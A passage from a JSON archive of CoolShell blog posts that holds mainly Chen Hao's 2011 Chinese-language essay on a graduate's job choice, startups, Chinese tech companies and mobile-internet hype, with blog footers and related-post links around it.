，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17607.html\"><img alt=\"从 MongoDB “赎金事件” 看安全问题\" height=\"150\" src=\"../wp-content/uploads/2017/01/MongoDB-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3311.html\"><img alt=\"几篇技术文章\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3311.html\">几篇技术文章</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1889.html\"><img alt=\"SQL的Where语句\" height=\"150\" src=\"../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1889.html\">SQL的Where语句</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1846.html\"><img alt=\"MySQL性能优化的最佳20+条经验\" height=\"150\" src=\"../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5826.html\">千万别用MongoDB？真的吗？！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-15 来信， 创业 和 移动互联网.html",
    "content": "<html><body><p>上一篇博文<a href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的长篇大论\">翻译了Steve Yegge的rant</a>，这两天有一些事让我也想rant一下（所谓rant就是一篇巨长无比的抱怨和说教），不过无论是从见解还是恶搞来说肯定没有SteveY的水平高，所以，这篇博文只是单纯的rant，看标题就知道了，就像“<strong>篱笆，女人和狗</strong>”一样，乡土味实足。所以，下述的一些观点未必正确，也未必靠谱，也就是我的个人唠叨罢了，我想到哪里说到哪里。（篇幅较长，见谅）</p>\n<h4>引子</h4>\n<p>我前两天，收到一封邮件，一位快要毕业的的大学生问我，是去百度，还是去创新工场？他在来信中说，从个人道德价值观来说，他想去创新工场，要远离流氓企业，不然会有狼狈为奸、助纣为虐的感觉，对不起自己。但是创新工场那边情况不熟悉， 不知道怎么选择，并问我现在比较热的移动互联网靠不靠谱。</p>\n<p>正好这两天我在微博里看到大家转贴李开复的几个让毕业生创业的微博，比如，<a href=\"http://weibo.com/1197161814/xwjDfAcf6\" target=\"_blank\">这个微博</a>，还有 <a href=\"http://weibo.com/1197161814/xw46V0Cz4\" target=\"_blank\">这个微博</a>。呵呵。</p>\n<blockquote><p><strong>李开复</strong>：有关毕业生高科技创业,我的建议：1）创业需要理解趋势、汇集精英、实践经验,因此大学毕业不要主导创业,只能参加创业公司,2）最好远在毕业前就寻找创业公司实习机会（无偿亦可）,因为也许创业并不适合你或你想象那样,3）毕业时若想学习创业,最好到创业公司。到大公司学习能学技术但不够针对性。</p></blockquote>\n<p>还有前两天的“移动开发者大会”，然后，又有一个以前的同事和我谈了一下他创业的事以及他的想法，正好又在网上看到罗永浩同学的那个“<a href=\"http://v.youku.com/v_show/id_XMzE3OTIyMzg0.html\" target=\"_blank\">一个理想者创业的故事</a>”的演讲。还有一些做blog插件的团队希望我能在酷壳上安装一下他们的插件。等等，等等。所以，让我有了这个可以rant的写作情绪。</p>\n<p><span id=\"more-5815\"></span></p>\n<h4>邮件回复</h4>\n<p>请原谅我不能把邮件的原文直接贴出来，因为自从上次我在博客中点名评批了关于敏捷的东西，我明白了，这个世界上，当把你放到公众的高度上，很多以前可以说的话可能都不能说了（虽然我还是在说，说得还比较尖锐，可能本性如此，呵呵）。言归正传，关于这个网友问我的问题，要是我的话，我可能两个都不会选，但是毕竟人家刚毕业，回想一下我当年毕业的时候，不也一样，就像菜市场里的大白菜一样被路过的人挑来捡去的，那有什么选择可言。人都是需要慢慢成长的，刚毕业的这个时候还不能挑挑捡捡的时候，能有两个offer在手作选择已是非常不错了。另外，人家刚毕业，面对北京这个物价奇高的地方，首先要解决的是生活下来，而不是像那些有工作经验的人一样可以追求更高层次的东西，所以，我不应该从我的角度上来思考这个问题，应该从他们的角度，从更现实的角度来思考。于是，我是大概是这么回复他的（加上了很多口水话是为了更像rant）——</p>\n<ul>\n<li>我对新东西是总是持谨慎的态度，创新工场的刚起步，还需要磨练，而且从现阶段的情况看下来，并不太妙。百度的技术还是很不错的，人家好多年了，用户数量也很大，也有很多积累了，所以还是应该去百度。我之所以这样评价，是因为我始终觉得：1）<strong>创业是不需要助跑的，创业是一种积累到了自然就出现的东西</strong>。你也许并不那么觉得，但是我觉得创业助跑就像高考的辅导班一样，或是像英语培训班一样，正如老罗所说的，出成绩的本来就是人家先天悟性不错，不行的总是不行，而需要培训的大多数总是有问题的，搞培训的都知道这个道理。退一步讲，就算是这些辅导班让你可以考个高分，但是后面呢？创业是一条很长的路，不是考了高分拿了风投被人宣传就能成的事。2）<strong>刚毕业的学生，要学的不是创业，而</strong><strong>是开眼界，长见识，这比任何事都重要，因为我们的的视野决定了我们的人生</strong>。大家也知道我国的教育是什么情况。所以，刚毕业的同学第一件事是把教育和工作差距上的那条大沟给填平了。因此，我觉得大公司有更多的资源和牛人能开阔你的眼界，而不是创新工场里的那些补习班式的团队和项目。而要开眼界应该是去一些成熟的公司，就算要学习创业也应该去那些成型了的创业公司，这是因为，更多的是你要看的那些成功公司的经验和思路。<strong>你可能知道什么不好，但是你没有见过好的，你将不知道什么是好的</strong>。你要学习的是成功的东西，而不是失败的东西，这是就我觉得开眼界长见识的最大的价值。</li>\n</ul>\n<ul>\n<li>关于那些流氓企业（商业公司总是会有些商业手段的，但是使用的是流氓手段的必然是流氓），我们处在的这个社会似乎已经分不清楚什么是流氓手段，什么是商业手段，但是有些公司的做法还是太过份，在如今这样垃圾的社会中居然还能脱颖而出，不得不让人佩服。不过我认为，<strong>我们需要用出世的态度去思考，入世的态度去做事</strong>。社会是个大染坊，我们走入社会参加工作后，很多人都会迷失在其中，分不清什么是入世什么是出世，所以这需要我们坚持住我们心中那份理想的价值观，这个很难，能坚持下来的也不多。无论这个公司的文化让你有多么的不认同，但只要其好的东西（比如百度的技术还是很不错的），能让你开眼界长见识，那就没有问题。因为不管你去到哪里，那些恶心的事总是会或多或少的存在，这就是中国的社会。所以，<strong>我们去那些无良企业，并不是学他的文化，而是学习他的技术和他们把事做出来的经验，根据鲁迅的拿来主义，重要的去其糟粕，取其精华</strong>。必竟人家那么大，在技术方面总是有可取之处的，学成后离开他就好了。我们的教育把我们洗脑洗成了只有是和非的价值观，要么就是大好，要么就是大恶。所以，我们的感情要么就是爱，要么就是恨。没有必要，社会是多元的，多维的，这需要我们要学会分开看问题。<strong>对于刚毕业的学生，还是多去学学一些实实在在的技术，百度是有技术的</strong>。</li>\n</ul>\n<div>所以，对于李开复的微博，我认为，毕业去创业并不好。去学习创业也要看看是去哪里？很多朋友都觉得毕业就算学完了，这就错了。大学毕业表示真正的学习才刚刚开始，我比较保守，我觉得走出学校，还需要5-10年的社会学习和积累。我经历告诉我，大多数人是浮燥的，急功近利的，好大喜功的，无论是投资人，创业者，还是打工者。真正踏踏实实学习和努力的人很少。我想说是，不要被人两三句话就说得激动万分，不知道自己是谁了，<strong>你一开始没有吃好的饭，你总有一天得回来吃的</strong>。</div>\n<h4>创业 和 事业</h4>\n<p>我上上周未和我一个朋友聊了一下他的创业的想法和经历。他和我说他见到这个国外投资人曾投过MySQL，当这个投资人听到他的项目的时候，很惊讶，因为，投资人来中国听到几乎全部都是“业务型的项目”，而从他这里第一次听到“技术型的项目”。投资人非常感兴趣，于是就聊了一会就决定投他的项目了。</p>\n<p>我在想，如果我们假设有一天MongoDB的创始人在中国找投资人，对中国的投资人说，我有一个很NB的想法，我要做一个开源的非关系型的数据库，可以解决大规模数据量的快速水平扩展的问题，并可以为现在互联网上的数据处理增加巨大的性能价值， 我不知道中国的投资人对这样的项目会不会感兴趣？我看悬。我这里不是说“业务型的项目”不好，我只是想说，在一个浮燥的环境里，几乎没人会关注这些“技术型的项目”。“业务型的项目”外表很华丽，更能打动人，可以让人看到“钱途”，所以，也就没人会关心那些可能改变世界的长期性的“技术型的项目”。多可悲的社会。</p>\n<p>其实，<strong>创业就是开创事业</strong>。重点是事业，不是开个公司，也不是挣钱，<strong>公司和挣钱是你事业的副产品</strong>。<strong>事业是我们的理想，是我们对自己人生价值的一种诉求</strong>。我个人认为，只有上升上事业的层面上来，才能算得上是创业。如果你只是想开个公司，接两个项目做做，挣点钱，我觉得那就是在浪费时间浪费生命，还不如去跟着一个不错的公司打工，除非你是想以一种曲线的方式达到你的人生理想目标。<strong>你的公司至少应该要去改善或是颠覆点什么，如果还有价值观的输出，那就更完美了</strong>。总之一句话，<strong><span style=\"color: #cc0000;\">别把自己给卖了</span></strong>。</p>\n<p>就算是在公司里打工，也应该有这份理想主义。我一直和我的团队说——我们每一个人今天不愁找工作，外面也有很多东西在诱惑着我们。对于我们来说，我们今天在Amazon这个高速增涨并很踏实的公司里，我们应该把在公司里打工升华到事业的层面上来。看看，Amazon是怎么一点一点地、扎扎实实地、有条不紊地、通过技术分析用户和市场来改变世界的，想想自己在Amazon公司里可以影响些什么，可以领导些什么，可以跟着Amazon去为这个世界改变些什么。当你有这样的心态和方式，积累到了，你就能去改变些什么，那时，你要出去创业也就成了一件水到渠成的事。</p>\n<p>看看今天如此浮燥的社会，我不知道人们怎么了。<strong>中国的很多的创业公司好像都只是为了上市挣钱，而国外更多的公司是为了上市后能改变世界或颠覆传统，这其中有多大的差距啊</strong>。每当看到中国有那么多的CopyCat（<a href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\" title=\"中国的C2C模式\">或叫C2C</a>），而国外有那么多的创新，我实在无法为国人感到骄傲。他们甚至还为他们的抄袭找到很多理由，比如，有人说Linux 抄 Unix还不是抄，Windows还不是抄MacOS，OpenOffice抄MS Office，等等。我同意很多好的创意会被人Copy去，这本来也没有什么。只是我想说的是：</p>\n<p style=\"padding-left: 30px;\">1）判断一个事有没有抄了另一个事。我觉得不应该看其表面特征像不像，应该看其有没有颠覆性。比如Linux对Unix的颠覆。PC对苹果电脑的颠覆（Windows属于PC机颠覆时代的产物，让PC机更具颠覆性。 同样，Linux的开始也是先上x86）。<strong>就算是表面上复制了你，但是用另一种模式其改变了世界，颠覆了传统，创造了价值，这就不是抄袭</strong>。而中国的很多团队呢，还有那个山寨大王的公司，他们只不过是在做简单的复制，Copy而已，根本谈不上什么颠覆，不知道这个山寨公司怎么想的？钱没处花了吗？不知道这个世界上还有更多的东西更有价值吗？另外，举个例子，新浪微博可能是一个比较不错的复制，我暂时不说其在技术处理信息的回复上和Twitter巨大的差异（<a href=\"https://coolshell.cn/articles/5247.html\" target=\"_blank\" title=\"国内微博和Twitter的最大不同\">可以看看这篇文章</a>），但是我们可以看到它还是有很多不错的功能（可惜的是新浪的名人路线让其永远不能理解什么是互联网的内涵，而很多人也迷失在这种浮华和虚荣之中）。而其它什么饭否，知乎，等等就是纯粹为了山寨了。如果我们不能颠覆一个产品，我们至少要想着去颠覆或是改善其某个或是几个功能吧。单纯的复制，走不长远，因为你无法理解其内涵。</p>\n<p style=\"padding-left: 30px;\">2）我们能不能问问我们自己。只是简单地去复制一个别人的想法，而没有经过自己的分析和考虑，这样的创业有意思吗？总有一些东西要不同吧，总不能靠我们政府帮你墙了你的复制源吧。这样的人生有什么意思吗？还是那句话——<strong>别把自己给卖了</strong>。</p>\n<p>我有一些同学，都在给中国的国有银行做项目，做了十多年了，还是和十年前几乎一个样。项目就是打单，加班，赶工，需求拼命变更，被甲方和SB领导蹂躏，等等，等等。我在想，一个公司，十多年了，还是老样子，连最基本的商业运作和项目管理还是十年前老样子，哎。十年，在IT行业，这十年是完全翻天覆地的变化，人们的生活方式和传统都受到了前所未有的改变和颠覆。然而，我们很多这样的公司，这十年，他们并没有改变什么，连自己都没有改变。银行里的系统还是向十年前那样，还是用十年前的方式和银行打交道。这些公司，他们从未想过要去改变或是颠覆点什么，就算想过，也就坚持了一两年。<strong>我们中国的企业，大多数是没有理想，没有抱负的企业</strong>。这样的例子有很多很多。</p>\n<ul>\n<li>看看csdn，it-pub, 中文infoQ等一系例的技术论坛。尤其是 CSDN，也有十来年的历史了吧。从来没有想过怎么过提高信息质量，论坛和博客系统有段时间那叫一个难用啊。充斥着各种各样的广告和产商的软文和活动。看看<a href=\"http://weibo.com/1654762921/xx4FL0z6g\" target=\"_blank\">这个微博</a>（<strong>注</strong>：<span style=\"color: #800000;\">这个微博已经删除了，这个微博是CSDN的老总范凯不知道怎么在论坛时放广告了，因为全都放满了</span>），你就知道为什么这些论坛干了那么长时间也无法成为像<a href=\"http://stackoverflow.com/\" target=\"_blank\">StackOverflow</a>或是<a href=\"http://www.quora.com/\" target=\"_blank\">Quora</a>这样的水平。再说说<a href=\"http://www.infoq.com/cn/\" target=\"_blank\">InfoQ中文站</a>，完全就是敏捷和TW的喉舌，主编里面有半数以上是TW公司的，上面的文章就像看新华网，人民网一样失去了媒体应有的客观性。而且那里的语言栏目没有C/C++语言，你能想像这些坑爹的编辑是怎么想的吗？所以，他们也无法成为像<a href=\"http://www.cnet.com/\" target=\"_blank\">CNet</a>, <a href=\"http://techcrunch.com/\" target=\"_blank\">TechCrunch</a>，或是像<a href=\"http://drdobbs.com/\" target=\"_blank\">Dr. Dobb’s</a>。因为那里是产商的广告战场，而不是技术人员的论坛。他们的目光短浅之处就在于，<strong>他们并没有明白真正让论坛和社区有人气有权威的是技术人员，而不是这些为了销售的产商。难道不想成为最权威的技术网站吗？难道不知道成为最权威的技术网站后面所蕴藏的商机会比今天这种模式要大N倍吗</strong>？</li>\n</ul>\n<ul>\n<li>淘宝也一样（也许马云明白，下面的人不明白）。前段时间我在淘宝商城里买了一个假货。于是我找在线客服投诉，在线客服不管，让我打电话去杭州（这么大个公司连个800的客服电话都没有，shit!），我只好打到杭州，经过若干个占线的经历后（淘宝的call center真是弱爆了），杭州的客服告诉我，让我在线点“让淘宝客服介入”，我说，我打电话来淘宝就是让你介入的，但我却被告之要求介入的唯一方法必需是在网站上点相应的按钮。偶滴神啊，哪个脑子进水的经理设计的这客服流程啊（这不是和老罗那个短片里星巴克的“中杯”的段子不一样脑残吗）。好吧，我还没疯，我去网站点了，结果3-4个月，淘宝的客服根本就没找我，连个邮件都没发。可见，<strong>淘宝几乎是和商家一伙的，而不是站在买家一边的</strong>。淘宝的目光短浅之处就在于，<strong>他们并没有明白真正付钱的是买家，而不是那些商户。如果买家满意了，淘宝及其商户才能赚到钱。这么浅显的道理不懂吗？也许，淘宝知道他现在平台上的这些商户让他根本不敢面对买家</strong>（另外，关于淘宝的技术，我觉得有点两极分化，后台看似很强，但是前台用户的管理页面那个恶心啊，还要整些ActiveX插件，搞得只支持IE 和 Win，仅支持IE也罢了（最近发现其支持chrome了），有时候下单的时候看不见提交按钮，联系在线客服，他让我：换别的浏览器，如果不行，就清空所有的缓存，再不行就重装浏览器，WTF，你们开发人员有没有搞错啊）</li>\n</ul>\n<ul>\n<li>百度和360就更SB了。有技术，有资金，有用户，有市场，还是上市公司，也积累了那么多年，也有很不错的产品和功能，但是就一定要去走流氓的路线，脑子透逗了吧。<strong>这不是目光短浅的问题了，这是人品和智商的问题了</strong>。难道百度不觉得有一个权威公正的搜索排名，会比恶意地竞价排名能挣更多的钱吗？难道百度不明白保护知识产权也能挣更多的钱吗？因为，当你让一个生态环境良性循环起来，你会发现，作为生态引擎的你会让整个生态系统更加依赖你，追捧你，而这个良性的生态系统会让你不由自主地进化和变得越来越强。对于360我就不多说了，你懂的，你要是不懂，那也不是目光短浅的问题了，也是智商的问题了。</li>\n</ul>\n<p>所以，他们能走到最高点也就是这样了。不想去创新，不想去改变传统方式，不去分析和关注用户，只为了挣钱挣钱，眼光就是如此短浅，所以也就成了钱和投资方的奴隶，于是也就变得愚蠢和迟钝了。<strong>真是Stay hungry, Stay foolish啊，hungry到饥不择食，foolish到自掘坟墓</strong>。</p>\n<p>当然，你一定会说，对这些大公司来说是这样的，但是对于创业的小团队来说，我说的这些东西太大了，什么改变世界，什么颠覆传统，这个命题太大了。你甚至可以举出像“超级玛丽”这样的经典游戏，或是像“开心农场”这样打发时间的游戏，其并没有改变世界，也没有颠覆传统，但人家还是很成功的。没错，有些时候，我们创业并不需要去改变什么，只需要去满足别人些什么（满足他人的虚荣心的微博，让人打发时间的游戏）。对于我们大多数人来说，能做一个软件产品有很多用户在用就很满足了。能让很多用户来用你的东西，说白了还是在改变什么，或是在颠覆点什么。你没有发现，满足人们的虚荣心，让人打发时间也不是件简单的事，虽然这些只是玩一阵子就不玩的东西，但是，不可否认电子游戏界的创新以及其方式的改变也是相当猛的。</p>\n<p>好吧，我再圆一圆我的话——<strong>创业总是要去改变点什么，颠覆点什么，或是满足点人们什么，解决点什么，而只有想要去创建某种规则，建立某种秩序，并有价值观输出的团队，才有可能成为真正的事业</strong>。</p>\n<p>在这个社会里，很多人并不明白这个道理，就算是明白，也不会这么行事。我有一个以前的同事，来中国Amazon面试Kindle App团队的部门经理，过了，也给offer了。但是不想来，为什么？因为他觉得现在他在管一个几十人的团队。而Amazon的这个团队太小了，只有不到十人，而且职位的title不满意。这就是我前面说的，眼界不够开阔的问题。小团队干大事情这不挺好的吗？我们很多人都把眼光放在了那些虚的地方，比如部门大不大，位置高不高，薪水诱不诱人，但却没有看到要做这个事有多大。可惜啊。</p>\n<p>上新浪微博看看，全是什么XXCTO，XXCEO，XX创始人，XX总监，XX高级主管……title要多牛有多牛，但可惜的是也就是个名称罢了，我花10元钱也可以为自己印一盒要有多牛就有多牛的名片。那些用人经理和猎头只会问，你职位是什么啊？你管多少人啊？好像是个高级主管，管上几十上百人就很牛似的。可是，你用这个title和这些人做了什么事啊？这就像我质问Thoughtworks和敏捷人士们一样，你们用这些所谓NB的东西做了什么大事啊？！（注意：我不是说，挣多少钱和职位发展不重要，我只是说，相对于做什么事，怎么做事来说，这些都是其次重要的，只要做的事靠谱，报酬和职业都会得到的）</p>\n<p>好吧，让我再回到创业的话题上来，<strong>有一本书叫“<a href=\"http://book.douban.com/subject/3889178/\" target=\"_blank\">Rework</a>”，想创业的朋友可以好好读一读</strong>。“保持 小的公司规模，你不需要加班，你没有必要耗尽你一生的积蓄，承担财务风险。你可以一边继续日常工作，一边开始创业，这样随时都能有现金满足需要。你甚至不需要办公室。现在可以在家工作，和从未见面离你千里之外的人合作…… ” 这是一本让你可以去思考的书，远比那些名人们的微博有价值地多得多。<strong><span style=\"color: #cc0000;\">不要跟随大流，保持住内心的理想，Think it Big, Make it Different</span></strong>。</p>\n<p>我没有能力去诠释人活着是为了什么。但就我而言，我认为应该在自己那短暂的人生内能去多经历更多一些有意义事情，能多做一些更有意义的事情，人生太短了，人太容易变了，时间，精力和人性都经不起折腾。只要做的事有意义，跟着别人一起去开创事业未尝不可，开公司又不是什么时尚。所以，如果你是一个做事的人，我觉得，不要去盲目地创业，那是在浪费时间，潜下心来，观察，思考，尝试，积累，就像一只在非洲草原上匍匐前缓缓逼进猎物的狮子那样有耐心。<span style=\"color: #cc0000;\"><strong>把自己当成一个沉着稳重猎手，而不是战场上的炮灰</strong></span>。</p>\n<h4>移动互联网</h4>\n<p>我不知道大家怎么看这个名词的。这是个当今巨火无比的词儿。有人跟我说过一个段子，某中国大公司的研究所的某某研究员是做出了这样的口沫横飞的定义——“移动互联网绝对是个了不起的东西，因为互联网是移动互联网的子集，因为静止是相对的，移动是绝对的，所以移动互联网必然是未来的一切……”。领导的讲话真是没得说，你我都不可能说出来这样的话。</p>\n<p>在我眼中，互联网才是核心，移动只不过是互联网的补充，只不过是为了让互联网有更好的体验。今天，全世界都打鸡血似地开发移动应用，我仿佛看到当年Windows平台出现的时候，大家都在Windows上写一些小软件一样。不可否认其中是有一些很不错的应用，也不可否认苹果的App Store让这些“软件个体户们”有了更好的创作平台，而软件质量也显著提高。但是更多的应用都会像Windows平台上的那些小软件一样，必然会很快被淹没在历史大潮之中。没有后面互联网和实际业务的强力支持，移动上的应用也就是一些小打小闹的东西。今天移动互联网的热，就像10年前.com的热一样，我看到移动互联网中像当年.com那样大量的泡沫。我看到各种创业团队和投资一涌而上，而我们都知道，<strong>当潮水退却的时候，就可以看到哪些人在裸泳了</strong>。</p>\n<p>今天的移动设备和当年的PC机何其相似，真正制定规则的人都是那些在制造移动设备及其操作系统的公司。当年在Windows上有很多不错的共享软件，什么foxmail，netants，cuteftp，…… 我记得当时foxmail被以2000万收购，但是今天也就这样了，邮件都都在Web或是移动端收了。我相信今天在这些在移动设备上开发应用的创业团队，很有可能也会在5到10年之后面临着相同的尴尬（可能会更短）。我倒不是说这样的小软件没意思，我只是想说，这样的小软件的开发完全没有必要成立公司，要成立公司，就应该要干得比这个事要大。不是吗？难道你不想创建一个能比自己寿命还长的事业和公司吗？移动互联网上的很多小应用，更像是大学里学生们开发着玩的一些软件玩具罢了。</p>\n<p>移动互联网上很多app感觉特别无聊，比如foursquare, 街旁之类的东西，虽然我实在不能理解这样的东西为何流行，但我想起了我6年前（2005年），当blog出现的时候，我在MSN的BLOG上记录<a href=\"http://blog.sina.com.cn/s/blog_538efefb0100n53e.html\" target=\"_blank\">过自己的一些粗糙的想法</a>（现在搬到了新浪Blog）。当时我认为，<strong>互联网的进化和人类社会的进化很相似，web1.0 到 web 2.0，就是从“自由”到“自我”的一个过程。</strong>今天，我们看到了 “自我”这个过程的各种各样的演绎，也许，像这种地理位置签到的玩意儿同样满足了人们那种“自我”的渴望。不过，我们都可以看到今天互联网上“自我”的泛滥，人们在网上晒各种各样自己的东西，在豆瓣上展示自己读过的书，看过的电影，在微博上晒自己的旅行照片，生活点滴，自己的车子房子老婆孩子，公司，职位，简历，加V，衣食住行，吃喝拉撒，等等一切可以拿出来炫耀的东西，包括自己的地理位置。我想到了“自我”，但我万万没有想到自我的东西里还包括自己的位置。<strong>这些不创造任何价值的自我的东西终将是过眼云烟，昙花一现</strong>。<strong>我们都得问问自己这个问题——我们有没有在创造价值</strong>？！（也许这个话说得有些绝对了，对于中国人来说，这是我们的culture啊。另外，我意识虚荣和炫耀并不产生价值是错的一一GMM的事给了我一记漂亮的耳光。试想，当今这个社会，如果所有的二奶都来炫耀谁包养了她，官员们都能签到他们出入的位置，那么还是能创造很多价值的。滑稽吧）</p>\n<p>今天，我大胆预测一下未来互联网的走势，只有了解历史，我们才能看清未来。</p>\n<ul>\n<li><strong>互联网的精髓是自由和分享</strong>。这个东西以前是这样，现在也是这样，未来还是这样。就算是我们正在经历那些反人类的东西。但这个精神和趋势必然是无法阻挡的。我们在网上没有边界地分享我们的数字信息，或公开，或私密，无论是我的发邮件，写博客，织微博，还是看视频，听音乐，写评论。都是自由和分享的体现。移动互联网会把这个事体现到极致。</li>\n</ul>\n<ul>\n<li><strong>互联网的本质是信息组织</strong>。关于信息，以前是ICP发布信息，现在是ICP feed信息(订阅)，大众参与组织信息。但是都会有一个问题，那就是信息太多，等于没有信息。搜索引擎的出现部分解决了这一问题。但没有解决彻底。因为搜索出来的东西还是太多，而且是搜索引擎的单一标准，而不是个体差异和喜好的标准。所以，<strong>我觉得未来的信息必然要走个性化的路。搜索引擎或是别的平台（如豆瓣，电子商务等）会学习用户的习惯和喜好，然后根据用户的喜好出现不同的结果。这就是所谓的推荐</strong>！<strong>未来必然是推荐的时代</strong>。</li>\n</ul>\n<p>所以，对于移动平台，我觉得最有价值的就是这些事情：1）<strong>阅读</strong>（如：kindle，新闻，图书，订阅等），2）<strong>分享和交流</strong>（如：facetime，iMessage，微信，米聊，电邮等等），3）<strong>电子商务</strong>（如：机票酒店餐饮购物），4）<strong>推荐</strong>（目前这一块还是比较空的）。注意，我们需要清楚地认识到，其中的分享和交流是对传统电话和短信的延续，并不是取代！有些时候，本来直接打个电话发个短信就解决了的事，我们还要让用户上我们的平台，这就没有意义了。</p>\n<p>哦，你会问我，云计算在哪里？云嘛，在天上漂着呢，尤其是中国的各种云。我不知道你还记不记得前几年的“网格计算”？现在真的成浮云了。不要去追随着那些媒体们热捧热炒的东西，<strong>中国的科技媒体们一来只会跟产商，二来他们哪有你懂技术懂产品啊</strong>。所以，不要被他们吹晕了，不知道自己该干什么了。还是想一想，你要解决什么问题，关注这些名词或代号没有意义。</p>\n<h4>结尾</h4>\n<p>最后，我要说明一下，本文是我思考了十天左右的文章，不存在喝多了，也不存在凌晨写作头脑不清的问题，也不存在本来要把一篇给小范围传播的文章给大家看。对于我在文中批评的那些公司，我希望他们能把我的这些rant当成一种建议和鞭策，当然，你们需要适应我调侃和尖锐的语气。千万不要学那些敏感人士，或是黑我的blog，或是骂人，因为这样只会让你们看上去更为难堪。</p>\n<p><span style=\"color: #cc0000;\">最后注明一下版权，<strong>本文由陈皓原创发表，你可以任意传载，但必需在明显位置注明作者和出处，而且不能用于任何商业用途</strong>。</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6142.html\"><img alt=\"三个事和三个问题\" height=\"150\" src=\"../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-22 腾讯，竞争力 和 用户体验.html",
